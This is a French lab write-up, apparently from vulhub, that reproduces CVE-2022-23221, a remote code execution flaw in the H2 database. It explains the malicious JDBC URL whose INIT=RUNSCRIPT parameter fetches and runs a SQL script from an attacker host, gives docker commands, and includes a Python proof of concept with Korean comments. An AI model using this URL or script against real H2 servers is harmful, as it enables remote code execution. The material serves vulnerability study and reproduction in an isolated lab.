
vulhub/H2-database/CVE-2022-23221
Référence : https://nvd.nist.gov/vuln/detail/cve-2022-23221
H2 est un système de gestion de base de données relationnelle qui permet de compiler et d'exécuter directement du code Java au sein de son moteur SQL.
Le pilote H2 analyse les URL JDBC pour établir la connexion entre l'application et la base de données. Les paramètres de configuration inclus dans l'URL permettent alors de contrôler l'état initial ou le comportement de la base de données.
Les versions de H2 antérieures à 2.1.210 présentent une faille : il est possible d'exécuter des scripts SQL distants via le paramètre INIT de l'URL JDBC. Un attaquant peut exploiter cette faille pour injecter à distance un script SQL falsifié et exécuter des commandes système via les instructions qu'il contient, déclenchant ainsi la vulnérabilité CVE-2022-23221.
Les caractéristiques de cette vulnérabilité sont les suivantes :
Périmètre d'impact de la vulnérabilité
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> contournement des paramètres de sécurité
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> commande SQL exécutée automatiquement lors de la connexion entre l'application et la base de données
CREATE ALIAS.
CREATE ALIAS présente dans le script exécuté à distance amène H2 à exécuter les fonctions Java du script au sein de la base de données, ce qui aboutit à une RCE.Scénario
id, whoami et pwd, cela signifie que l'environnement H2 vulnérable est en place et que le fichier exploit.sql a été téléchargé puis exécuté à distance depuis le serveur attacker externe pendant que H2 analysait l'URL JDBC malveillante.Configuration de l'environnement
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : fournit le fichier exploit.sqlAprès la configuration de l'environnement, l'accès à http://your-ip:8082 affiche la page web H2.
: La console web applique des politiques de sécurité susceptibles de filtrer les paramètres requis par la vulnérabilité ; pour la reproduire, on saisit donc directement via la CLI une URL JDBC contenant les paramètres malveillants, puis on vérifie le résultat.
URL JDBC normale : "jdbc:h2:mem:test"
Commande de requête normale
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Résultat de l'exécution

Une URL JDBC malveillante est saisie dans le pilote H2 pour tenter de se connecter au serveur attacker. Deux méthodes permettent de saisir l'URL.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

Conformément à INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' spécifié dans le paramètre INIT de l'URL JDBC, H2 demande (HTTP GET) le fichier exploit.sql au serveur attacker puis l'exécute dans la base de données H2.
docker logs attacker permet de consulter les journaux des demandes du fichier exploit.sql reçues du serveur h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
L'exécution du fichier exploit.sql affiche dans les journaux du serveur h2-vulnerable la chaîne « EXPLOITED » accompagnée des résultats des commandes id, whoami et pwd.
Les journaux peuvent être consultés via docker logs h2-vulnerable.
docker logs h2-vulnerable`

=> Cela confirme que l'environnement h2 vulnérable est en place et que le téléchargement et l'exécution à distance du fichier ont réussi lors de l'analyse de l'URL JDBC malveillante par H2.